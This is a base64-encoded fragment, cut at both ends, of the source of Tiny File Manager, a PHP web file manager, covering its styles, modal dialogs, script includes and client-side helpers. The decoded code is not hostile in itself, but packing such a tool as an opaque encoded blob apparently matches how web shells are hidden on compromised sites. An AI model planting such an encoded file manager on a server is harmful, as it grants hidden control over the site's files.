0I7IH0KICAgICAgICAuZWtrby1saWdodGJveC1uYXYtb3ZlcmxheSBhOmhvdmVyIHsgY29sb3I6IzIwNTA3RDsgfQogICAgICAgICNzbmFja2JhciB7IHZpc2liaWxpdHk6aGlkZGVuO21pbi13aWR0aDoyNTBweDttYXJnaW4tbGVmdDotMTI1cHg7YmFja2dyb3VuZC1jb2xvcjojMzMzO2NvbG9yOiNmZmY7dGV4dC1hbGlnbjpjZW50ZXI7Ym9yZGVyLXJhZGl1czoycHg7cGFkZGluZzoxNnB4O3Bvc2l0aW9uOmZpeGVkO3otaW5kZXg6MTtsZWZ0OjUwJTtib3R0b206MzBweDtmb250LXNpemU6MTdweDsgfQogICAgICAgICNzbmFja2Jhci5zaG93IHsgdmlzaWJpbGl0eTp2aXNpYmxlOy13ZWJraXQtYW5pbWF0aW9uOmZhZGVpbiAwLjVzLCBmYWRlb3V0IDAuNXMgMi41czthbmltYXRpb246ZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzOyB9CiAgICAgICAgQC13ZWJraXQta2V5ZnJhbWVzIGZhZGVpbiB7IGZyb20geyBib3R0b206MDtvcGFjaXR5OjA7IH0KICAgICAgICB0byB7IGJvdHRvbTozMHB4O29wYWNpdHk6MTsgfQogICAgICAgIH0KICAgICAgICBAa2V5ZnJhbWVzIGZhZGVpbiB7IGZyb20geyBib3R0b206MDtvcGFjaXR5OjA7IH0KICAgICAgICB0byB7IGJvdHRvbTozMHB4O29wYWNpdHk6MTsgfQogICAgICAgIH0KICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZW91dCB7IGZyb20geyBib3R0b206MzBweDtvcGFjaXR5OjE7IH0KICAgICAgICB0byB7IGJvdHRvbTowO29wYWNpdHk6MDsgfQogICAgICAgIH0KICAgICAgICBAa2V5ZnJhbWVzIGZhZGVvdXQgeyBmcm9tIHsgYm90dG9tOjMwcHg7b3BhY2l0eToxOyB9CiAgICAgICAgdG8geyBib3R0b206MDtvcGFjaXR5OjA7IH0KICAgICAgICB9CiAgICAgICAgI21haW4tdGFibGUgc3Bhbi5iYWRnZSB7IGJvcmRlci1ib3R0b206MnB4IHNvbGlkICNmOGY5ZmEgfQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDEpIHsgYm9yZGVyLWNvbG9yOiNkZjQyMjcgfQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDIpIHsgYm9yZGVyLWNvbG9yOiNmOGI2MDAgfQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDMpIHsgYm9yZGVyLWNvbG9yOiMwMGJkNjAgfQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDQpIHsgYm9yZGVyLWNvbG9yOiM0NTgxZmYgfQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDUpIHsgYm9yZGVyLWNvbG9yOiNhYzY4ZmMgfQogICAgICAgICNtYWluLXRhYmxlIHNwYW4uYmFkZ2U6bnRoLWNoaWxkKDYpIHsgYm9yZGVyLWNvbG9yOiM0NWMzZDIgfQogICAgICAgIEBtZWRpYSBvbmx5IHNjcmVlbiBhbmQgKG1pbi1kZXZpY2Utd2lkdGg6NzY4cHgpIGFuZCAobWF4LWRldmljZS13aWR0aDoxMDI0cHgpIGFuZCAob3JpZW50YXRpb246bGFuZHNjYXBlKSBhbmQgKC13ZWJraXQtbWluLWRldmljZS1waXhlbC1yYXRpbzoyKSB7IC5uYXZiYXItY29sbGFwc2UgLmNvbC14cy02LnRleHQtcmlnaHQgeyBwYWRkaW5nOjA7IH0KICAgICAgICB9CiAgICAgICAgLmJ0bi5hY3RpdmUuZm9jdXMsLmJ0bi5hY3RpdmU6Zm9jdXMsLmJ0bi5mb2N1cywuYnRuLmZvY3VzOmFjdGl2ZSwuYnRuOmFjdGl2ZTpmb2N1cywuYnRuOmZvY3VzIHsgb3V0bGluZTowIWltcG9ydGFudDtvdXRsaW5lLW9mZnNldDowIWltcG9ydGFudDtiYWNrZ3JvdW5kLWltYWdlOm5vbmUhaW1wb3J0YW50Oy13ZWJraXQtYm94LXNoYWRvdzpub25lIWltcG9ydGFudDtib3gtc2hhZG93Om5vbmUhaW1wb3J0YW50IH0KICAgICAgICAubGRzLWZhY2Vib29rIHsgZGlzcGxheTpub25lO3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjY0cHg7aGVpZ2h0OjY0cHggfQogICAgICAgIC5sZHMtZmFjZWJvb2sgZGl2LC5sZHMtZmFjZWJvb2suc2hvdy1tZSB7IGRpc3BsYXk6aW5saW5lLWJsb2NrIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdiB7IHBvc2l0aW9uOmFic29sdXRlO2xlZnQ6NnB4O3dpZHRoOjEzcHg7YmFja2dyb3VuZDojMDA3YmZmO2FuaW1hdGlvbjpsZHMtZmFjZWJvb2sgMS4ycyBjdWJpYy1iZXppZXIoMCwuNSwuNSwxKSBpbmZpbml0ZSB9CiAgICAgICAgLmxkcy1mYWNlYm9vayBkaXY6bnRoLWNoaWxkKDEpIHsgbGVmdDo2cHg7YW5pbWF0aW9uLWRlbGF5Oi0uMjRzIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMikgeyBsZWZ0OjI2cHg7YW5pbWF0aW9uLWRlbGF5Oi0uMTJzIH0KICAgICAgICAubGRzLWZhY2Vib29rIGRpdjpudGgtY2hpbGQoMykgeyBsZWZ0OjQ1cHg7YW5pbWF0aW9uLWRlbGF5OjAgfQogICAgICAgIEBrZXlmcmFtZXMgbGRzLWZhY2Vib29rIHsgMCUgeyB0b3A6NnB4O2hlaWdodDo1MXB4IH0KICAgICAgICAxMDAlLDUwJSB7IHRvcDoxOXB4O2hlaWdodDoyNnB4IH0KICAgICAgICB9CiAgICAgICAgdWwjc2VhcmNoLXdyYXBwZXIgeyBwYWRkaW5nLWxlZnQ6IDA7Ym9yZGVyOiAxcHggc29saWQgI2VjZWNlY2NjOyB9IHVsI3NlYXJjaC13cmFwcGVyIGxpIHsgbGlzdC1zdHlsZTogbm9uZTsgcGFkZGluZzogNXB4O2JvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZWNlY2VjY2M7IH0KICAgICAgICB1bCNzZWFyY2gtd3JhcHBlciBsaTpudGgtY2hpbGQob2RkKXsgYmFja2dyb3VuZDogI2Y5ZjlmOWNjO30KICAgICAgICAuYy1wcmV2aWV3LWltZyB7CiAgICAgICAgICAgIG1heC13aWR0aDogMzAwcHg7CiAgICAgICAgfQogICAgPC9zdHlsZT4KICAgIDw/cGhwCiAgICBpZiAoRk1fVEhFTUUgPT0gImRhcmsiKTogPz4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHkudGhlbWUtZGFyayB7IGJhY2tncm91bmQtY29sb3I6ICMyZjJhMmE7IH0KICAgICAgICAgICAgLmxpc3QtZ3JvdXAgLmxpc3QtZ3JvdXAtaXRlbSB7IGJhY2tncm91bmQ6ICMzNDNhNDA7IH0KICAgICAgICAgICAgLnRoZW1lLWRhcmsgLm5hdmJhci1uYXYgaSwgLm5hdmJhci1uYXYgLmRyb3Bkb3duLXRvZ2dsZSwgLmJyZWFrLXdvcmQgeyBjb2xvcjogI2ZmZmZmZjsgfQogICAgICAgICAgICBhLCBhOmhvdmVyLCBhOnZpc2l0ZWQsIGE6YWN0aXZlLCAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7IGNvbG9yOiAjMDBmZjFmOyB9CiAgICAgICAgICAgIHVsI3NlYXJjaC13cmFwcGVyIGxpOm50aC1jaGlsZChvZGQpIHsgYmFja2dyb3VuZDogI2Y5ZjlmOWNjOyB9CiAgICAgICAgICAgIC50aGVtZS1kYXJrIC5idG4tb3V0bGluZS1wcmltYXJ5IHsgY29sb3I6ICMwMGZmMWY7IGJvcmRlci1jb2xvcjogIzAwZmYxZjsgfQogICAgICAgICAgICAudGhlbWUtZGFyayAuYnRuLW91dGxpbmUtcHJpbWFyeTpob3ZlciwgLnRoZW1lLWRhcmsgLmJ0bi1vdXRsaW5lLXByaW1hcnk6YWN0aXZlIHsgYmFja2dyb3VuZC1jb2xvcjogIzAyODIxMTt9CiAgICAgICAgPC9zdHlsZT4KICAgIDw/cGhwIGVuZGlmOyA/Pgo8L2hlYWQ+Cjxib2R5IGNsYXNzPSI8P3BocCBlY2hvIChGTV9USEVNRSA9PSAiZGFyayIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+IDw/cGhwIGVjaG8gJGlzU3RpY2t5TmF2QmFyOyA/PiI+CjxkaXYgaWQ9IndyYXBwZXIiIGNsYXNzPSJjb250YWluZXItZmx1aWQiPgoKICAgIDwhLS0gTmV3IEl0ZW0gY3JlYXRpb24gLS0+CiAgICA8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIiBpZD0iY3JlYXRlTmV3SXRlbSIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWw9Im5ld0l0ZW1Nb2RhbExhYmVsIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIiByb2xlPSJkb2N1bWVudCI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtaGVhZGVyIj4KICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9Im1vZGFsLXRpdGxlIiBpZD0ibmV3SXRlbU1vZGFsTGFiZWwiPjxpIGNsYXNzPSJmYSBmYS1wbHVzLXNxdWFyZSBmYS1mdyI+PC9pPjw/cGhwIGVjaG8gbG5nKCdDcmVhdGVOZXdJdGVtJykgPz48L2g1PgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iY2xvc2UiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGFyaWEtbGFiZWw9IkNsb3NlIj4KICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gYXJpYS1oaWRkZW49InRydWUiPiZ0aW1lczs8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgPC9idXR0b24+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWJvZHkiPgogICAgICAgICAgICAgICAgICAgIDxwPjxsYWJlbCBmb3I9Im5ld2ZpbGUiPjw/cGhwIGVjaG8gbG5nKCdJdGVtVHlwZScpID8+IDwvbGFiZWw+PC9wPgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tcmFkaW8gY3VzdG9tLWNvbnRyb2wtaW5saW5lIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBpZD0iY3VzdG9tUmFkaW9JbmxpbmUxIiBuYW1lPSJuZXdmaWxlIiB2YWx1ZT0iZmlsZSIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCIgZm9yPSJjdXN0b21SYWRpb0lubGluZTEiPjw/cGhwIGVjaG8gbG5nKCdGaWxlJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjdXN0b20tY29udHJvbCBjdXN0b20tcmFkaW8gY3VzdG9tLWNvbnRyb2wtaW5saW5lIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InJhZGlvIiBpZD0iY3VzdG9tUmFkaW9JbmxpbmUyIiBuYW1lPSJuZXdmaWxlIiB2YWx1ZT0iZm9sZGVyIiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtaW5wdXQiIGNoZWNrZWQ9IiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0iY3VzdG9tUmFkaW9JbmxpbmUyIj48P3BocCBlY2hvIGxuZygnRm9sZGVyJykgPz48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz0ibXQtMyI+PGxhYmVsIGZvcj0ibmV3ZmlsZW5hbWUiPjw/cGhwIGVjaG8gbG5nKCdJdGVtTmFtZScpID8+IDwvbGFiZWw+PC9wPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJuZXdmaWxlbmFtZSIgaWQ9Im5ld2ZpbGVuYW1lIiB2YWx1ZT0iIiBjbGFzcz0iZm9ybS1jb250cm9sIj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZm9vdGVyIj4KICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1wcmltYXJ5IiBkYXRhLWRpc21pc3M9Im1vZGFsIj48aSBjbGFzcz0iZmEgZmEtdGltZXMtY2lyY2xlIj48L2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjwvYnV0dG9uPgogICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1zdWNjZXNzIiBvbmNsaWNrPSJuZXdmb2xkZXIoJzw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+Jyk7cmV0dXJuIGZhbHNlOyI+PGkgY2xhc3M9ImZhIGZhLWNoZWNrLWNpcmNsZSI+PC9pPiA8P3BocCBlY2hvIGxuZygnQ3JlYXRlTm93JykgPz48L2J1dHRvbj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgoKICAgIDwhLS0gTW9kYWwgLS0+CiAgICA8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIiBpZD0ic2VhcmNoTW9kYWwiIHRhYmluZGV4PSItMSIgcm9sZT0iZGlhbG9nIiBhcmlhLWxhYmVsbGVkYnk9InNlYXJjaE1vZGFsTGFiZWwiIGFyaWEtaGlkZGVuPSJ0cnVlIj4KICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtZGlhbG9nIG1vZGFsLWxnIiByb2xlPSJkb2N1bWVudCI+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwtY29udGVudCA8P3BocCBlY2hvIGZtX2dldF90aGVtZSgpOyA/PiI+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgogICAgICAgICAgICA8aDUgY2xhc3M9Im1vZGFsLXRpdGxlIGNvbC0xMCIgaWQ9InNlYXJjaE1vZGFsTGFiZWwiPgogICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaW5wdXQtZ3JvdXAgaW5wdXQtZ3JvdXAiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBwbGFjZWhvbGRlcj0iPD9waHAgZWNobyBsbmcoJ1NlYXJjaCcpID8+IGEgZmlsZXMiIGFyaWEtbGFiZWw9Ijw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiIgYXJpYS1kZXNjcmliZWRieT0ic2VhcmNoLWFkZG9uMyIgaWQ9ImFkdmFuY2VkLXNlYXJjaCIgYXV0b2ZvY3VzIHJlcXVpcmVkPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImlucHV0LWdyb3VwLWFwcGVuZCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJpbnB1dC1ncm91cC10ZXh0IiBpZD0ic2VhcmNoLWFkZG9uMyI+PGkgY2xhc3M9ImZhIGZhLXNlYXJjaCI+PC9pPjwvc3Bhbj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICA8L2g1PgogICAgICAgICAgICA8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImNsb3NlIiBkYXRhLWRpc21pc3M9Im1vZGFsIiBhcmlhLWxhYmVsPSJDbG9zZSI+CiAgICAgICAgICAgICAgPHNwYW4gYXJpYS1oaWRkZW49InRydWUiPiZ0aW1lczs8L3NwYW4+CiAgICAgICAgICAgIDwvYnV0dG9uPgogICAgICAgICAgPC9kaXY+CiAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsZHMtZmFjZWJvb2siPjxkaXY+PC9kaXY+PGRpdj48L2Rpdj48ZGl2PjwvZGl2PjwvZGl2PgogICAgICAgICAgICAgICAgPHVsIGlkPSJzZWFyY2gtd3JhcHBlciI+CiAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9Im0tMiI+U2VhcmNoIGZpbGUgaW4gZm9sZGVyIGFuZCBzdWJmb2xkZXJzLi4uPC9wPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgICA8c2NyaXB0IHR5cGU9InRleHQvaHRtbCIgaWQ9ImpzLXRwbC1tb2RhbCI+CiAgICAgICAgPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSIgaWQ9ImpzLU1vZGFsQ2VudGVyLTwldGhpcy5pZCU+IiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJNb2RhbENlbnRlclRpdGxlIiBhcmlhLWhpZGRlbj0idHJ1ZSI+CiAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWRpYWxvZyBtb2RhbC1kaWFsb2ctY2VudGVyZWQiIHJvbGU9ImRvY3VtZW50Ij4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz0ibW9kYWwtdGl0bGUiIGlkPSJNb2RhbENlbnRlclRpdGxlIj48JXRoaXMudGl0bGUlPjwvaDU+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iY2xvc2UiIGRhdGEtZGlzbWlzcz0ibW9kYWwiIGFyaWEtbGFiZWw9IkNsb3NlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGFyaWEtaGlkZGVuPSJ0cnVlIj4mdGltZXM7PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICA8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KICAgICAgICAgICAgICAgICAgICAgICAgPCV0aGlzLmNvbnRlbnQlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkiIGRhdGEtZGlzbWlzcz0ibW9kYWwiPjxpIGNsYXNzPSJmYSBmYS10aW1lcy1jaXJjbGUiPjwvaT4gPD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgIDwlaWYodGhpcy5hY3Rpb24peyU+PGJ1dHRvbiB0eXBlPSJidXR0b24iIGNsYXNzPSJidG4gYnRuLXByaW1hcnkiIGlkPSJqcy1Nb2RhbENlbnRlckFjdGlvbiIgZGF0YS10eXBlPSJqcy08JXRoaXMuYWN0aW9uJT4iPjwldGhpcy5hY3Rpb24lPjwvYnV0dG9uPjwlfSU+CiAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICA8L3NjcmlwdD4KCiAgICA8P3BocAogICAgfQoKICAgIC8qKgogICAgICogU2hvdyBwYWdlIGZvb3RlcgogICAgICovCiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpCiAgICB7CiAgICA/Pgo8L2Rpdj4KPHNjcmlwdCBzcmM9Imh0dHBzOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzMuNS4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zdGFja3BhdGguYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvNC41LjAvanMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5kYXRhdGFibGVzLm5ldC8xLjEwLjIxL2pzL2pxdWVyeS5kYXRhVGFibGVzLm1pbi5qcyI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL2NkbmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9la2tvLWxpZ2h0Ym94LzUuMy4wL2Vra28tbGlnaHRib3gubWluLmpzIj48L3NjcmlwdD4KPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyk6ID8+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jZG5qcy5jbG91ZGZsYXJlLmNvbS9hamF4L2xpYnMvaGlnaGxpZ2h0LmpzLzEwLjAuMy9oaWdobGlnaHQubWluLmpzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQ+aGxqcy5pbml0SGlnaGxpZ2h0aW5nT25Mb2FkKCk7IHZhciBpc0hpZ2hsaWdodGluZ0VuYWJsZWQgPSB0cnVlOzwvc2NyaXB0Pgo8P3BocCBlbmRpZjsgPz4KPHNjcmlwdD4KICAgICQoZG9jdW1lbnQpLm9uKCdjbGljaycsICdbZGF0YS10b2dnbGU9ImxpZ2h0Ym94Il0nLCBmdW5jdGlvbihldmVudCkgewogICAgICAgIGV2ZW50LnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgdmFyIHJlSW5pdEhpZ2hsaWdodCA9IGZ1bmN0aW9uKCkgeyBpZih0eXBlb2YgaXNIaWdobGlnaHRpbmdFbmFibGVkICE9PSAidW5kZWZpbmVkIiAmJiBpc0hpZ2hsaWdodGluZ0VuYWJsZWQpIHsgc2V0VGltZW91dChmdW5jdGlvbiAoKSB7ICQoJy5la2tvLWxpZ2h0Ym94LWNvbnRhaW5lciBwcmUgY29kZScpLmVhY2goZnVuY3Rpb24gKGksIGUpIHsgaGxqcy5oaWdobGlnaHRCbG9jayhlKSB9KTsgfSwgNTU1KTsgfSB9OwogICAgICAgICQodGhpcykuZWtrb0xpZ2h0Ym94KHsKICAgICAgICAgICAgYWx3YXlzU2hvd0Nsb3NlOiB0cnVlLCBzaG93QXJyb3dzOiB0cnVlLCBvblNob3duOiBmdW5jdGlvbigpIHsgcmVJbml0SGlnaGxpZ2h0KCk7IH0sIG9uTmF2aWdhdGU6IGZ1bmN0aW9uKGRpcmVjdGlvbiwgaXRlbUluZGV4KSB7IHJlSW5pdEhpZ2hsaWdodCgpOyB9CiAgICAgICAgfSk7CiAgICB9KTsKICAgIC8vVEZNIENvbmZpZwogICAgd2luZG93LmN1cmkgPSAiaHR0cHM6Ly90aW55ZmlsZW1hbmFnZXIuZ2l0aHViLmlvL2NvbmZpZy5qc29uIiwgd2luZG93LmNvbmZpZyA9IG51bGw7CiAgICBmdW5jdGlvbiBmbV9nZXRfY29uZmlnKCl7IGlmKCEhd2luZG93Lm5hbWUpeyB3aW5kb3cuY29uZmlnID0gSlNPTi5wYXJzZSh3aW5kb3cubmFtZSk7IH0gZWxzZSB7ICQuZ2V0SlNPTih3aW5kb3cuY3VyaSkuZG9uZShmdW5jdGlvbihjKSB7IGlmKCEhYykgeyB3aW5kb3cubmFtZSA9IEpTT04uc3RyaW5naWZ5KGMpLCB3aW5kb3cuY29uZmlnID0gYzsgfSB9KTsgfX0KICAgIGZ1bmN0aW9uIHRlbXBsYXRlKGh0bWwsb3B0aW9ucyl7CiAgICAgICAgdmFyIHJlPS88XCUoW15cJT5dKyk/XCU+L2cscmVFeHA9LyheKCApPyhpZnxmb3J8ZWxzZXxzd2l0Y2h8Y2FzZXxicmVha3x7fH0pKSguKik/L2csY29kZT0ndmFyIHI9W107XG4nLGN1cnNvcj0wLG1hdGNoO3ZhciBhZGQ9ZnVuY3Rpb24obGluZSxqcyl7anM/KGNvZGUrPWxpbmUubWF0Y2gocmVFeHApP2xpbmUrJ1xuJzonci5wdXNoKCcrbGluZSsnKTtcbicpOihjb2RlKz1saW5lIT0nJz8nci5wdXNoKCInK2xpbmUucmVwbGFjZSgvIi9nLCdcXCInKSsnIik7XG4nOicnKTtyZXR1cm4gYWRkfQogICAgICAgIHdoaWxlKG1hdGNoPXJlLmV4ZWMoaHRtbCkpe2FkZChodG1sLnNsaWNlKGN1cnNvcixtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCEwKTtjdXJzb3I9bWF0Y2guaW5kZXgrbWF0Y2hbMF0ubGVuZ3RofQogICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsaHRtbC5sZW5ndGgtY3Vyc29yKSk7Y29kZSs9J3JldHVybiByLmpvaW4oIiIpOyc7cmV0dXJuIG5ldyBGdW5jdGlvbihjb2RlLnJlcGxhY2UoL1tcclx0XG5dL2csJycpKS5hcHBseShvcHRpb25zKQogICAgfQogICAgZnVuY3Rpb24gbmV3Zm9sZGVyKGUpIHsKICAgICAgICB2YXIgdCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJuZXdmaWxlbmFtZSIpLnZhbHVlLCBuID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcignaW5wdXRbbmFtZT0ibmV3ZmlsZSJdOmNoZWNrZWQnKS52YWx1ZTsKICAgICAgICBudWxsICE9PSB0ICYmICIiICE9PSB0ICYmIG4gJiYgKHdpbmRvdy5sb2NhdGlvbi5oYXNoID0gIiMiLCB3aW5kb3cubG9jYXRpb24uc2VhcmNoID0gInA9IiArIGVuY29kZVVSSUNvbXBvbmVudChlKSArICImbmV3PSIgKyBlbmNvZGVVUklDb21wb25lbnQodCkgKyAiJnR5cGU9IiArIGVuY29kZVVSSUNvbXBvbmVudChuKSkKICAgIH0KICAgIGZ1bmN0aW9uIHJlbmFtZShlLCB0KSB7dmFyIG4gPSBwcm9tcHQoIk5ldyBuYW1lIiwgdCk7bnVsbCAhPT0gbiAmJiAiIiAhPT0gbiAmJiBuICE9IHQgJiYgKHdpbmRvdy5sb2NhdGlvbi5zZWFyY2ggPSAicD0iICsgZW5jb2RlVVJJQ29tcG9uZW50KGUpICsgIiZyZW49IiArIGVuY29kZVVSSUNvbXBvbmVudCh0KSArICImdG89IiArIGVuY29kZVVSSUNvbXBvbmVudChuKSl9CiAgICBmdW5jdGlvbiBjaGFuZ2VfY2hlY2tib3hlcyhlLCB0KSB7IGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSAiYm9vbGVhbiIgPT0gdHlwZW9mIHQgPyB0IDogIWVbbl0uY2hlY2tlZCB9CiAgICBmdW5jdGlvbiBnZXRfY2hlY2tib3hlcygpIHsgZm9yICh2YXIgZSA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlOYW1lKCJmaWxlW10iKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkgKGVbbl0udHlwZSA9ICJjaGVja2JveCIpICYmIHQucHVzaChlW25dKTsgcmV0dXJuIHQgfQogICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITApIH0KICAgIGZ1bmN0aW9uIHVuc2VsZWN0X2FsbCgpIHsgY2hhbmdlX2NoZWNrYm94ZXMoZ2V0X2NoZWNrYm94ZXMoKSwgITEpIH0KICAgIGZ1bmN0aW9uIGludmVydF9hbGwoKSB7IGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpIH0KICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHsgdmFyIGUgPSBnZXRfY2hlY2tib3hlcygpOyBlLnB1c2godGhpcyksIGNoYW5nZV9jaGVja2JveGVzKGUpIH0KICAgIGZ1bmN0aW9uIGJhY2t1cChlLCB0KSB7IC8vQ3JlYXRlIGZpbGUgYmFja3V